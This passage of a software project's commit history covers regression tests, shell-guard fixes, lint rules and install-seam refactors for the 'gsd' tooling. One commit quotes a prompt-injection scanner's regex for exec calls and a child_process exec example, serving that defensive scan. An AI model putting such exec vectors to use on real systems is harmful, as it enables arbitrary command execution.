* test(#3569): pin stats phase-id shape — inline-code mentions produce no phantom row Failing-first regression for #3569: cmdStats' heading scan accepted any word as a phase id, so prose mentioning ### Phase N: inside inline code inflated phases_total and disagreed with roadmap analyze. New adversarial fixture phase-heading-inside-inline-code.md (blockquote + bare mention), parity assertion against roadmap analyze, and over-narrowing guards for decimal / milestone-prefixed / letter-prefixed ids. * fix(#3569): require a digit-bearing phase id in the stats heading scan cmdStats' hand-rolled heading pattern captured any word as a phase id, so a ### Phase N: token inside an inline code span (the issue's blockquote) produced a phantom Not-Started row that could never complete, inflating phases_total and deflating percent forever. The id capture is now the canonical #3036 shape roadmap.cts uses (digit required; letter-prefixed, decimal, and milestone-prefixed ids keep counting), so stats and roadmap analyze agree. * fix(#3569): sanction the stats id-shape literal; correct zero-padded expectation Review findings: the phase-id drift guard requires the // phase-id-owner: comment directly above the regex (same form as roadmap.cts); the milestone-prefixed over-narrowing guard must expect normalizePhaseName's zero-padded 02-01 form, not the raw 2-01 token. * chore(#3569): add changeset fragment * chore(#3569): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
58e5a5b581 |
fix(#3566): read the per-install .gsd-runtime marker above host-wide defaults in the isolation guards (#3589)
* test(#3566): pin per-install .gsd-runtime marker precedence in the isolation guard Failing-first regression for #3566: resolveRuntimeIdentity must consult the per-install marker (<install>/gsd-core/.gsd-runtime, written by every install since #2297) above the host-wide ~/.gsd/defaults.json whose leakage #2840 exists to prevent. In-process block drives the marker through the same _setInstallRuntimeMarkerForTests seam model-resolver.cts established. * fix(#3566): read the per-install .gsd-runtime marker above host-wide defaults in the isolation guard resolveRuntimeIdentity consulted ~/.gsd/defaults.json — the exact host-wide file whose runtime leakage #2840 exists to prevent — and never the per-install marker the installer has written for every runtime since #2297. On a 2-runtime machine the guard confidently resolved the WRONG runtime and silently went inert when that runtime declares no harnessIsolationFlag. Precedence is now GSD_RUNTIME > config.json runtime > .gsd-runtime marker > defaults.json, restoring #2840's design; the defaults rung stays last so single-runtime and pre-#2297 installs keep #3045 BLOCKER 2 behavior. * fix(#3566): apply the marker rung to the cursor subagent-start fallback; review fixes Review finding (spec pass): hooks/gsd-cursor-subagent-start.js's resolveFallbackIsolation mirrored the Claude hook's exact three-rung chain and shared the bug — same rung inserted between config.json and the host-wide defaults, same #2297-pattern seam, in-process regression + negative controls. Review finding (standards): dropped the one new raw-text assert.match on the block reason (CONTRIBUTING test-output rule); the reason-naming property stays pinned by the pre-existing #3045 row. * chore(#3566): add changeset fragment * chore(#3566): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
8a56595700 |
docs(#3574): record ADR-3574 install materialization primitives (#3575)
* docs(#3574): record ADR-3574 install materialization primitives Epic #2866 phase 6 was scoped on the premise that materializing a layout is implemented three times and should become one module. Measured against the tree, the premise does not hold: the three sites overlap in shape and diverge in mechanism. applySurface prunes by allow-list precisely so it structurally cannot delete a user's files. installRuntimeArtifacts wipes a prefix-scoped set and restores a snapshot. A single writer has to pick one, and picking either trades a working guarantee for a different one. So the ADR declines phase 6's first acceptance criterion and says why, because the next reader who notices three similar loops should find this file rather than rediscover the conflict. What is extracted instead is the genuinely shared part: durable user-artifact staging for #1874-F19, reusing the migration primitive that copies strictly before delete and never dereferences a symlink, plus the retired-kind prune both callers already share. The agents bypass closes on its own terms. Two of the issue's premises were also stale: ten runtimes have already migrated off the inline agent dispatch, and the duplication comment's deliberate-until condition is partly met. Closes #3574 * chore(#3574): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
0xdhx
|
285cd41be0 |
fix(#3206): define "explicit evidence" inline at verifier 5b; repair stale honest-verifier cites (#3435)
* fix(#3206): define "explicit evidence" inline at verifier 5b; repair stale honest-verifier cites
Step 3 item 5b abstained on non-inferable (backstop) truths "unless
confirmed by explicit evidence" with the term undefined — its definition
lived only in the non-included gsd-core/references/honest-verifier.md,
behind a stale bare `references/` cite that 404s. Undefined, the term
falls back to presence + wiring, the exact false-pass the #1154
abstention protocol refuses.
- 5b: inline the compressed definition (a passing wired
held-out/property-based test or directly observed behavior; presence +
wiring never qualifies) and fix the cite. +84 B on the rewritten line;
file lands at 49,151 of the 49,152 LARGE cap.
- verifier-phase-gates.md (already <required_reading>): gains the
backstop-abstention reporting contract — AFK completion line
("complete with N unverified non-inferable checks", never silent,
never a halt) and reason-distinctness (insufficient_spec vs manual-UAT
human_needed). New content, no relocation of measured prose.
- 5c (line 204) and MVP-mode (line 644) bare cites repaired to
gsd-core/references/ (+9 B each).
- Drift acks per ADR-2719 §4; two entries merge-appended into existing
fragments (two ack sources may never name the same path).
- Changeset fragment with the sanctioned pr: 0 placeholder (post-create
backfill).
Sibling census at next@7976b1ca0: 7 bare-cite instances in 4 agent
files; the 3 in gsd-verifier.md are fixed here, gsd-executor.md:429,439
and gsd-doc-synthesizer.md:20,176 stay with the epic #1891 follow-up.
Refs #1891
* chore(#3206): set changeset fragment pr to 3435
* fix(#3206): drop stale emitted-drift-ack entries that trip the ADR-2719 ratchet
The round's ack bookkeeping explained ripples that were already
self-attributed, so `tests/emitted-attribution.test.cjs` failed
deterministically on the PR head with 5 stale acknowledgments.
`agents/gsd-verifier.md` and `gsd-core/references/verifier-phase-gates.md`
appear directly in `git diff --name-only`, so PROVENANCE_RULES attributes
their emitted deltas without an ack; `agents/gsd-verifier.agent.md`,
`agents/gsd-verifier.toml` and `agents/subagents/gsd-verifier.md` are
derived emissions of a changed source and are attributed the same way.
None of the five entries could ever be consumed, so all five were stale.
Removed: the whole `3206-verifier-explicit-evidence.json` fragment (all
four entries) and the `#3206 append` to `0000-legacy-migration.json`.
Deliberately KEPT: the `#3206 append` to
`1955-verifier-coincidental-reliance.json`. Its `gsd-verifier.md` entry is
consumed by the size-growth ratchet, not the hash pass — the agent grew
49049 -> 49151 bytes, and `diffEmitted` treats a base-identical ack as
spent and excludes it from `ackEntries`. Reverting that append as well
turns the stale-ack failure into `1 file(s) grew without an
acknowledgment` (verified both ways locally).
* fix(#3206): compress 5b and re-acknowledge growth after rebase onto next
The rebase onto next (
|
||
|
Tom Boucher
|
3c61b4a838 |
enh(#3565): sentinel/contract registry + check:contract-drift lint (#3571)
* enh(#3565): sentinel/contract registry + check:contract-drift lint * fix(#3565): report artifact-row markers once and dedupe per marker * docs(#3565): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
a4a02a7a01 |
enhance(#2874): return the executed plan and route install IO through a seam (#3568)
* test(#2874): add failing-first gate for the executed-plan return Four rows from the matrix's red-first order. E3 pins the one early return, for the opencode family, where a void-shaped hole would otherwise survive unnoticed. E13 sweeps every runtime in the registry - enumerated from the registry rather than hardcoded, so a runtime added later cannot slip past. F2 proves absence of real filesystem contact rather than merely that the happy path ran, which is the difference between a complete seam and a partial one. G1 and G3 are the additive guard and must be green before and after. G3 deliberately leaves the two existing adapter test doubles untouched: if this change required editing them it would not be additive, and the acceptance criterion would be unmet. No production code. All 19 runtimes install without throwing today, so E3 and E13 fail on the undefined comparison alone. Refs #2874 * feat(#2874): return the executed plan and route install IO through a seam installRuntimeArtifacts returned void, so its correctness was observable only by re-reading disk. It now returns what it executed - per kind, per scope - including on the combinedFamilyInstall path, which was the one early return where a void-shaped hole would have survived unnoticed. Failure still throws rather than becoming an ok:false return, so control flow is unchanged for both existing callers. A best-effort cleanup that fails is still swallowed, but is now visible in the returned value rather than silently absent. The fs seam is ambient rather than threaded. Explicit deps through install-profiles and the 3000-line conversion module was impractical; the tradeoff, the synchronous-only re-entrancy assumption, the restore guarantee and the partial-adapter fallback trap are all documented at the seam. findInstallSourceRoot and its sibling stay unrouted by design - they locate the package's own source, not the install destination. readCmdNames keeps a second implementation because the standalone CLI that owns the original cannot require the compiled adapter without a build-order dependency on its own output. A parity test fails if the two ever disagree. Refs #2874 * chore(#2874): gitignore the new build artifact install-fs-adapter.cjs is tsc output from src/install-fs-adapter.cts, not a tracked source file. It was added to eslint's ignore list but not to .gitignore, so it landed as a tracked file - the third time this step of the new-.cts ripple has been missed on this epic. Refs #2874 * fix(#2874): close two seam leaks and correct a false comment A correctness review found the seam still leaked in two places, both subtler than the three already closed. readGsdCommandNames was routed when it should not have been: it reads the package's own commands directory, which a destination-fake is never seeded with, so under a fake adapter it returned an empty or wrong roster instead of failing loudly. It now reads real fs, matching the precedent already documented for findInstallSourceRoot. cleanupStagedSkills ran raw rmSync from a process exit handler, which is real filesystem work deferred past the point where withInstallFs has restored - the one thing the synchronous-only contract exists to exclude. Staging now captures the adapter that created each directory and cleanup replays it, so a real install cleans up exactly as before and a fake-staged path never reaches the real filesystem. Also corrected a comment claiming the migration reads were an unrouted, untested residual gap. They are routed and exercised; a comment understating the seam is as corrosive as one overstating it in a module whose trust rests on being honestly documented. Refs #2874 * test(#2874): migrate the exemplar group and cover the matrix AC3's exemplar migration lands in place: the qwen install group now asserts skills and agents destinations from the returned plan in one deepStrictEqual instead of probing the filesystem for each. Nine facts the old probes established were enumerated first. Two moved to the value assertion; seven were retained deliberately - per-file SKILL.md existence, the VERSION file written outside this function, the manifest content, and the post-uninstall absence checks all sit outside the plan's per-kind contract. A migration that quietly asserts less looks like a win and is a regression, so the enumeration is the guard rather than the line count. Also implements the rest of the matrix: the executed-plan shape, adapter failure modes, the security-boundary rows including a fake that cannot certify an install the real filesystem would refuse, cleanup visibility, and two seeded property tests. Only the two external CI gates are left unticked, because self-certifying them would be a claim rather than a check. Refs #2874 * fix(#2874): restore streaming hashes and derive F2 from the boundary rule The checkpoint found three things reasoning had missed. sha256File had been converted from raw-fd streaming to a single readFileSync on the assumption that GSD artifacts are never large. A test named for exactly that contract already existed and went red. Streaming is restored, now routed through the adapter, which gains openSync, readSync and closeSync. The contract was the specification; the assumption was not. Three existing tests inject faults by monkeypatching real fs. They broke because mkInstallTempDir stopped calling real mkdtempSync, not because of any binding subtlety - the real adapter was already late-bound. It now calls the real function when no fake is injected, so a monkeypatch applied after import is still seen and the additive contract holds. F2 poisoned real fs by method, so a deliberately unrouted package-source read failed a correct design. It now poisons by path: destination IO is forbidden, package-source IO is allowed and positively asserted. The claim was always zero real destination IO, and the test now derives from that rule instead of coincidentally matching it. Refs #2874 * docs(#2874): add the contributor how-to for plan-based test migration The phase gate caught a real gap. The docs plan was Reference plus Explanation only, and every CI check would have passed, because the docs-required lint only verifies that some file under docs/ moved. But this phase exists to demonstrate a pattern for follow-on work, and that work is other contributors migrating probing test groups. The sequence has two live traps - a partial fake silently falls back to real fs, and the seam is ambient and synchronous-only - plus one discipline nobody infers: enumerate the facts before converting, or you assert less and call it a win. The page carries the qwen migration's arithmetic, nine facts enumerated and only two converted, because a reader seeing only the diff would reasonably conclude the pattern is to replace probes wholesale. No locale mirrors: none of the four carries any contributor-only how-to, so a single translated file would manufacture parity rather than provide it. Refs #2874 * chore(#2874): backfill changeset pr number * test(#2874): normalize both sides of the G1 tree comparison G1 failed on Windows only, deterministically on both shards. The defect was in the test helper, not production. _computePathPrefix posix-normalizes the resolved config dir unconditionally, so on Windows the path embedded in every emitted SKILL.md body is forward-slash form. hashDirTree stripped against the raw backslash path from mkdtempSync, so the substring never matched and each install's unique temp suffix stayed baked into every file - all fifteen skill bodies hashed differently for two runs that had written identical bytes. Both sides are now normalized unconditionally rather than gated on path.sep, matching the rule this repo already records: backslash paths arrive on Linux too. Production code is untouched and was verified correct. Normalizing this away on the production side would have hidden a real portability bug if one had existed. Refs #2874 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
2b9713a6b2 |
fix(#3557): accept claude code session id in the workstream session probe (#3570)
* test(#3557): failing-first regression for claude code session key probe * test(#3557): assert adapter source vocabulary in session probe test * fix(#3557): accept claude code session id in the workstream session probe * test(#3557): pin the new session key against both immediate neighbors * chore(#3557): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
9448736872 |
fix(#3547): exercise the real global config-home shape in the install harness (#3567)
* test(#3547): failing-first regression for collapsed global install shape * fix(#3547): exercise the real global config-home shape in the install harness * test(#3547): align ripple suites with the real global install shape * test(#3547): update stale collapsed-shape pins in provenance and migration suites * fix(#3547): bump emitted-baseline schema version for the real install shape --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
c5b83cb050 |
chore(#3560): delete two unreachable workflows, gate workflow reachability in lint (#3564)
* chore(#3560): delete two unreachable workflows, gate reachability in lint discovery-phase.md and plan-milestone-gaps.md shipped to all 19 runtime install trees with no command, agent, or skill referencing them. plan-milestone-gaps' command was deleted by #2790 and the workflow was left behind; discovery-phase's own header claimed a caller in plan-phase.md's mandatory_discovery step, and that step does not exist — plan-phase.md contains zero occurrences of "discovery". docs/INVENTORY.md asserted discovery-phase.md was an alternate entry for /gsd-new-project. new-project.md never referenced it. The row and the matching note sentence are removed across all five locales rather than corrected. Adds rule 6 to lint-command-contract: every shipped workflow must be reachable from a loader, walking the transitive closure over the three reference shapes this repo uses. The closure seeds ONLY from commands/agents/skills, so a workflow that references only itself and a pair that reference only each other are both correctly reported rather than satisfying themselves; a visited set makes reference cycles terminate. The measure is a mention in a LOADER — docs/ and install-tree fixtures deliberately do not count, because scan.md proved a file can be documented and shipped while entirely unreached. Ships blocking, not report-only: #3561 is in this branch's base, so the tree reports 0 unreachable from the start. Closes #3560 * test(#3560): drive rule 6 end-to-end, sweep a stale allowlist, update ADR-0002 Review findings. Rule 6 had no end-to-end coverage: the tests exercised the pure closure with in-memory data, so the wiring — file collection, exit code, diagnostic — was unproven, and #3560's acceptance list explicitly wants a fixture showing the rule FAILS on a planted orphan. Adds an optional --root to lint-command-contract (default behavior unchanged) and four tests driving the real CLI through the process seam against a temp fixture: clean=0, planted orphan=1, orphan referenced only from docs/=1, orphan reachable transitively=0. The docs/ case is what pins the Goodhart defense — a mention outside a loader must not confer reachability. Deletes two tests that were byte-identical to a third and could not assert anything loader-specific, since the closure is source-agnostic by design; that distinction lives in the lint script's file collection and is now covered above. Removes a stale ALLOWLIST entry for discovery-phase.md in planner-language-regression — the exact sweep-miss class rule 6 exists to catch, found in the PR that adds the rule. ADR-0002 described five per-file frontmatter checks; rule 6 is a repo-level reachability graph, so the Decision section now says so. Refs #3560 * test(#3560): cut the bug-3298 test pin on the deleted plan-milestone-gaps workflow The remote runner went red with four failures: tests/phase.test.cjs asserted the plan-milestone-gaps workflow exists and checked its mkdir patterns, so deleting the file broke the test that pinned it. This is the fence the epic describes — the content-sync test IS what keeps an unreachable file alive — and cutting the coupling is what makes the deletion safe. Removes only that arm. The bug-3298 block guards three workflows against phase-dir prefix drift; the import and add-backlog arms and both shared mkdir-pattern helpers are untouched. Worth recording where the sweep failed: my reachability walk covered commands, agents, skills, gsd-core and docs, and lint-removed-but-needed covers .github/workflows, gsd-core, docs and package.json. Neither looks at tests/, so a test-pinned deletion is invisible to both and surfaces only on the remote runner. The how-to added by this PR names that gap explicitly so the next deletion searches tests/ by hand. Refs #3560 * docs(#3560): add a how-to for resolving unreachable-workflow findings * chore(#3560): backfill changeset pr number to 3564 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
c2e453e2a1 |
fix(#3543): bake no tier model when the effective model_profile is unverifiable (#3563)
* test(#3543): add failing-first regression for unverifiable profile bake * fix(#3543): bake no tier model when the effective model_profile is unverifiable * test(#3543): use cleanup helper for planning dir removal in regression test * test(#3543): use shared temp-dir and console-capture helpers in regression suite * chore(#3543): backfill changeset pr number * test(#3543): clear ambient xdg env overrides in global install tests * test(#3543): assert baked model line by equality instead of dynamic regexp --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
e6e32da224 |
fix(#3561): route /gsd-map-codebase --fast to a scan.md path the runtime can resolve (#3562)
* test(#3561): failing-first coverage for the --fast dangling dispatch /gsd-map-codebase --fast routes to "the scan workflow" in prose, but commands/gsd/map-codebase.md names no resolvable path and its execution_context includes only map-codebase.md, so scan.md is never loaded. Same class as epic #1891's F8/F9: dispatch keyed on a token that never arrives. Adds workflowPathRefs() to command-contract-helpers.cjs — one shared pure resolver for the three reference shapes this repo uses (eager @-include, lazy absolute-ish path, lazy parent-relative steps//modes/ path). Placing it in the helpers module keeps the lint script and the test suite reading the same definition, which is what that module exists for; #3560 consumes the same function rather than re-deriving it. Tests 16/17 are RED until the routing fix lands. Refs #3561 * fix(#3561): route --fast to a scan.md path the runtime can resolve commands/gsd/map-codebase.md documented --fast and told the agent to "run the scan workflow", but named no path and included only map-codebase.md in execution_context, so gsd-core/workflows/scan.md was never loaded and the single-agent scan was improvised. Names the path in the routing line so it is read on demand, rather than adding an eager @-include: --fast is the minority path and the progressive-disclosure split (#717) exists to keep the common full-map invocation from paying for it. The accompanying test pins that choice — execution_context must still carry exactly one @-ref. skills/gsd-map-codebase/SKILL.md is regenerated, not hand-edited. Closes #3561 * fix(#3561): bound the .md match and bind the regression test to the --fast line Two majors from the isolated adversarial review. Both resolver regexes ended at a literal .md with no trailing boundary, so a longer extension was truncated into a plausible-looking but wrong path: workflows/foobar.mdx returned workflows/foobar.md. Adds a (?![A-Za-z0-9_]) lookahead to both shapes so .mdx and .md5 are rejected outright rather than silently rewritten. The regression test scanned the whole command file, so it did not bind to the defect — the reviewer showed that an unrelated comment mentioning scan.md anywhere made it pass while the dispatch defect was still present. It now extracts the "- If it is `--fast`" bullet and scans that line alone, and a new test drives a synthetic pre-fix fixture to prove the false-pass path is closed. Refs #3561 * chore(#3561): backfill changeset pr number to 3562 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
1591454357 |
feat(#3409): reject shell guards that cannot observe their own failure arm (#3558)
* test(#3409): failing-first regression tests for unreachable shell guard arms Drives the three live defects fail-first, executing the shipped workflow snippets rather than a re-typed copy: - G1/G2 plan-phase.md Walking Skeleton gate reads `--pick summaries_total`, a field that does not exist, so PRIOR_SUMMARIES is always "" and the gate has never fired (#3365). G2 is the load-bearing negative-space case: it rejects a fix that treats "no answer" as "zero" and fires unconditionally. - G3 plan-phase.md PHASE_REQ_IDS resolves "" instead of the TBD sentinel on a phase with zero requirements. - G4 complete-milestone.md's bare `cat <glob>` blocks on stdin under a nullglob left set by an earlier block (measured hang). Skipped on Windows for G4 only: the FIFO-blocked-stdin mechanism is POSIX only, and a weakened assertion there would pass vacuously. Refs #3409 * fix(#3409): make nine shell guards observe their own failure arm `--pick` coerces a missing field to empty string and exits 0, so the `|| echo <default>` fallback after it fires only on a verb typo, never on the field absence it was written for. Nine sites relied on that arm. - plan-phase.md walking-skeleton gate: `--pick summaries_total` names a field that does not exist under any flag combination, so the gate has never fired on any project (#3365). Repointed at the existing single owner, `phases.list --type summaries --pick count`, which returns a real integer in every case including a project with no `.planning` directory. No new counter is added: a second one would duplicate the ownership ADR-3180 Decision 1 forbids. The gate now fires only on a literal "0", so an unanswerable query fails safe instead of entering skeleton mode. - plan-phase.md phase_req_ids: now falls back to the documented TBD. - The remaining seven convert to an explicit empty test. - complete-milestone.md read all phase summaries through a bare `cat <glob>`; under a nullglob left set by an earlier block that is zero operands, so cat blocks on stdin. Guarded with the array shape the #3300 fix already established in review.md. Refs #3409 * fix(#3409): guard eleven more globs that defeat their own fallback arm The nullglob audit this issue asks for turned up the same class in files #3300 never touched. - Eight bare `cat <glob>` reads (transition, complete-milestone, planner x4, verifier, phase-researcher). With nullglob set that is zero operands, so cat reads stdin and blocks; measured rc=137 at 3s. - Three `ls <glob> || echo "<message>"` sites (session-report, review-backlog and its generated skill). nullglob makes ls succeed listing the cwd, so the message never prints and the user gets a directory listing instead. Guarded with `[ -e "${_ARR[0]}" ]` rather than `[ ${#_ARR[@]} -gt 0 ]`. The count form is correct only when nullglob is set, and six of these seven files never set it: without it the array holds the unmatched literal pattern, so the count is 1 and the guard passes wrongly. `-e` is correct in both worlds. review.md keeps its count guards — that block sets nullglob two lines above them. skills/gsd-review-backlog regenerated from commands/, never hand-edited. Refs #3409 * feat(#3409): add the unreachable-shell-guard drift lint A sibling of lint-planning-prompt-drift.cjs, consuming the shared scripts/lib/drift-scan.cjs rather than copying it, wired into lint:ci. Both detectors are one shape — a fallback arm defeated by a legitimate success-on-empty: - Detector A: `--pick` and `|| echo` on one line. `--pick` is the discriminator because "missing field renders empty at exit 0" is a documented CLI contract, not a heuristic. A rule keyed on gsd_run matched 111 lines, ~132 of them legitimate, and was rejected. - Detector B: `cat <glob>` in command position, and `ls <glob>` whose exit code feeds a real fallback or an if/while head. Informational `ls <glob>` whose stdout is consumed (97 sites) and `|| true` failure suppression (~15) are not guards and never fire. Shrink-only ratchet keyed on (file, trimmed text) with a per-pair count, POSIX-normalized unconditionally so Windows CI cannot report everything fresh and stale at once. Ships with a ZERO-entry baseline: every site it can find is fixed. Exemption is the per-line `# gsd-scan-ignore: #NNN` marker whose reason must name an issue or URL; a malformed reason reports a distinct error rather than silently exempting. No file allowlists. ADR-3409 records the invariant, the measurements behind both detectors, and why the upstream `--pick` contract fix belongs to #3473. Refs #3409 * fix(#3409): resolve review findings — typed surface, sanitized reports, tighter marker Standards axis (blocker): the guard's tests asserted on human-readable stdout/stderr and on free-form baseline-load prose, which CONTRIBUTING prohibits by name. Added the typed surface it prescribes instead of weakening the tests: a frozen REASON enum, a --json report mode, structured loadBaseline errors, and a test locking Object.keys(REASON) so a new reason stays three coordinated changes. Security axis: sanitizeForReport covered every violation field but not the baseline-load error path, which embeds raw JSON.stringify output -- that escapes nothing above 0x1f, so bidi and C1 controls reached CI logs unfiltered. Routed through the sanitizer at the output seam. Security axis: the scan-ignore marker accepted `#0` and a bare `http://`. Tightened to a positive issue number and a URL with a host. This diverges deliberately from the sibling in tests/commit-files-pathspec.test.cjs, whose looser form was copied verbatim; the header now records the divergence. Security axis: G4 built its FIFO with `mktemp -u`, reserving a name without creating it. Now created inside a `mktemp -d` directory. Spec axis: ADR-3409 claimed a ninth site landed after the issue was filed. git blame disproves it -- all nine predate it; the issue's hand count missed one. Corrected. The design and test matrix still specified B9 as a FLAG after implementation reversed it to PASS; both now record the reversal and why. Refs #3409 * docs(#3409): add the how-to for resolving unreachable-guard findings Reference and Explanation are carried by ADR-3409; this is the task-oriented quadrant CI cannot check for. The page exists mainly for one thing the lint structurally cannot catch: both `[ -e "${_ARR[0]}" ]` and `[ ${#_ARR[@]} -gt 0 ]` remove the glob from the command and therefore both pass, but the count form is correct only when nullglob is set — and nullglob is usually set in a different block of the same file. A reference table cannot carry that; a how-to can. Also documents the reason codes, so a reader can tell "nothing to report" from "could not look". No tutorial: this is a gate inside an existing CI loop, not a new entry point a newcomer starts from. Refs #3409 * fix(#3409): bring the touched prompt files back under their size gates The remote run was red on 14 tests, all size/attribution, none of them the regression suite. - agents/gsd-planner.md was 194 chars over a 49152 cap enforced by four separate tests, each of which says the remedy is extraction, not a bump. It had 41 chars of headroom before this branch. Its `## Checkpoint Types` section was an unlinked, condensed duplicate of references/checkpoints.md, which already carries all three types and their XML shapes; the section now points there and keeps the three names and percentages inline. Net -969, margin 1010. - gsd-core/workflows/execute-phase.md sat 2 chars under a comfortable margin assertion. Dropped the AUTO_MODE default: the `|| echo "false"` it replaced was unreachable, so the value was already sometimes empty on next, and its only consumer compares against `true`. Net -16. Left plan-phase.md's AUTO_CHAIN default alone -- that file names an explicit `false` branch, so empty would match neither branch. - Acknowledged the seven prompt files that genuinely grew, one specific reason each. Five of those paths were already claimed by spent fragments identical to next, which blocks a second source naming the same path; removed just the colliding key from each, deleting the two that this emptied. Refs #3409 * test(#3409): extract the whole PHASE_REQ_IDS block, not just its first line G3 failed on the remote runner with '' !== 'TBD'. The test was wrong, not the workflow. The shipped contract is now two consecutive lines -- the capture and the `${PHASE_REQ_IDS:-TBD}` default -- but the helper's `^PREFIX=.*$` regex returns only the first match, so the test executed half the contract and correctly observed the empty string. Renamed to extractAssignmentBlockFor and taught it to consume the contiguous run of lines sharing the prefix. The assertion is untouched: TBD is the right expectation, and weakening it to accept the empty string would have reinstated exactly the class this suite exists to catch -- a check that cannot observe the thing it is checking. extractFencedBashAfterAnchor is unaffected: it is fence-delimited rather than line-anchored, so G1/G2/G4 still capture their full blocks. Refs #3409 * chore(#3409): drop a spent ack fragment that collided on complete-milestone.md #3458 landed on next while this branch was in flight and its fragment claims complete-milestone.md, which this branch also grows. Two ack sources may never name the same path. Its entry is spent: the +9163 it explains is already absorbed at base, so it can no longer clear anything, and the checker's own guidance for spent entries is to delete them. Removing the key emptied the fragment, so the file goes too -- an empty one signals nothing. Refs #3409 * chore(#3409): backfill changeset pr number 3558 * test(#3409): hoist a regex subject out of exec() to clear the injection scan CI's prompt-injection scan flagged `MARKER_RE.exec('# gsd-scan-ignore: ...')`. The pattern `exec[[:space:]]*\(["']` is receiver-blind on purpose, so it catches `require('child_process').exec('...')` -- and the scanner's own header records that RegExp.prototype.exec is collateral, to be handled by its allowlist. Allowlisting the file would blind it to the real exec vector permanently, so the subject is hoisted into a const instead: same assertion, scanner left at full strength, no security surface widened. Refs #3409 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
abf3cf7c25 |
fix(#3458): scan archived milestone phases, and make [A] Acknowledge actually suppress (#3555)
* fix(#3458): scan archived milestone phases in the four audit-open scanners `query audit-open` resolved exactly one phase root, `.planning/phases/`. When a milestone closes its phase directories move to `.planning/milestones/v<X.Y>-phases/`, so an item still unresolved at that moment — the `[R]/[A]/[C]` prompt accepts "accept" and "carry forward", not only "resolve" — became invisible to the v1.1 pre-close audit and every audit after it. The window in which an unresolved item is visible to this gate was exactly one milestone wide, and nothing announced when it closed. Reproduced before fixing, with byte-identical artifacts in the two layouts and the active layout as the control: active → has_open_items=true deferred=1 uat_gaps=1 total=2 archived → has_open_items=false deferred=0 uat_gaps=0 total=0 `scanDeferredItems`' own doc comment names this as the thing it was built to prevent — "phase directories archive to `milestones/vX.Y-phases/` (#1871) and the entry leaves the live tree having never been triaged" — while the implementation eleven lines below cannot read that path. It catches an entry at its own milestone close and goes blind at precisely the transition the comment describes. This is not cosmetic under-reporting. `auditOpenArtifacts` sums all nine category counts into `counts.total` and returns `has_open_items: counts.total > 0`, so four blind scanners can flip the gate's headline boolean and let `/gsd-complete-milestone` assert a clean close it never verified. In a fully-archived project `.planning/phases/` may not exist at all, and the scanners' `if (!fs.existsSync(phasesDir)) return []` produced a value indistinguishable from "nothing is open". ## One enumeration, not four The four scanners each hand-rolled the same active-only walk. They now share `listAuditPhaseTargets(planDir, cwd)`, which yields both roots — the shape of fix epic #3473's B2 asks for, and the reason the fix is one seam rather than four edits. Three properties are load-bearing: * the ACTIVE enumeration is unchanged — still a raw `readdirSync`, NOT `listMilestonePhaseDirs`. These scanners are deliberately not milestone-filtered today, and switching would silently add window and sentinel filtering: a behavior change belonging to #3372, not here. * a missing or unreadable active root skips that half instead of returning early. That early return WAS the bug in a fully-archived project. * archived dirs are deliberately NOT milestone-filtered, per the comment `src/uat.cts` already carries: archived phases belong to past milestones by definition, so applying the current-milestone filter discards every one and silently reinstates this bug. Each item now carries `archived_milestone` when it comes from a closed milestone, matching how the sibling module already labels archived results — without it an operator triaging `[R]/[A]/[C]` cannot tell a live item from one carried over. Additive: no existing test or doc asserted an exact key set. `scripts/lint-phase-enumeration-drift.cjs`'s exemption list for this file drops from the four scanner names to the single helper, since that is now the only place the enumeration lives. ## Tests Written failing-first and confirmed red for the right reason before the fix, all four driven through the real `audit-open` CLI rather than private functions: archived-only (was 0/0/0/0 with `has_open_items=false`, now 1/1/1/1 true), mixed active+archived (was 1/1/1/1 — the archived half dropped — now 2/2/2/2), active-only unchanged, and an all-resolved archived phase contributing 0. That last one passed vacuously before the fix, because the archived path was not reached at all; it was re-verified as genuinely discriminating afterward by flipping one archived item to unresolved and watching the count rise. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3458): restore the scan_error sentinel and show archive provenance Adversarial review found one BLOCKER that the previous revision introduced, which a green remote-runner suite did not catch because nothing in the tree asserts `scan_error` at all. ## The regression Consolidating four hand-rolled walks into `listAuditPhaseTargets` swallowed the active-root `readdirSync` throw in a bare `catch {}`. Pre-fix each scanner returned `[{scan_error: true, …}]`; after, each returned `[]`. Measured with `.planning/phases` created as a FILE (so `existsSync` passes and `readdirSync` throws ENOTDIR): before this fix: uat_gaps/verification_gaps/context_questions/deferred_items each `[{"scan_error":true,…}]` the regression: each `[]` `complete-milestone.md` re-runs `audit-open --json` and reads those counts, so a machine consumer could no longer tell "I/O failed" from "verified clean" — the exact conflation this issue exists to remove, reintroduced on the failure path. `listAuditPhaseTargets` now reports `activeUnreadable` and each scanner pushes the sentinel shape recovered verbatim from `origin/next`, not reinvented. The docstring claiming the active enumeration was "UNCHANGED" was false while that sentinel was missing, and is corrected to state what is actually preserved. An unreadable ARCHIVED root deliberately gets NO sentinel: there was no archived read before, so there is no consumer contract to preserve, and adding one would conflate the ordinary "no milestones archived yet" state with a real I/O failure. ## The operator could not see the archive `formatAuditReport` is the surface the gate actually shows a human — `complete-milestone.md` runs it without `--json` — and it never rendered `archived_milestone`. With `01-alpha` in both roots the identical line printed twice with nothing to tell them apart, and `[R] Resolve` sends the operator to `.planning/phases/01-alpha/` where the archived one does not exist. Phase numbering restarts at `01` after each archive, so that collision is the common case, not an edge case. All four loops now render ` (archived vX.Y)`; active lines stay byte-identical. ## Archived milestones sorted wrong `getArchivedPhaseDirs` ordered milestones with `.sort().reverse()` — lexicographic, so `v1.9` outranked `v1.10`. Measured order for v1.0/v1.9/v1.10 was `v1.9, v1.10, v1.0`. Now a numeric-segment descending compare. Pre-existing, but this change is what first surfaces it in audit output. ## Tests The blocker's regression test fails against the previous revision. Added: `archived_milestone` present on archived items and absent (not `undefined`) on active ones; the unreadable-active-root sentinel across all four categories; an 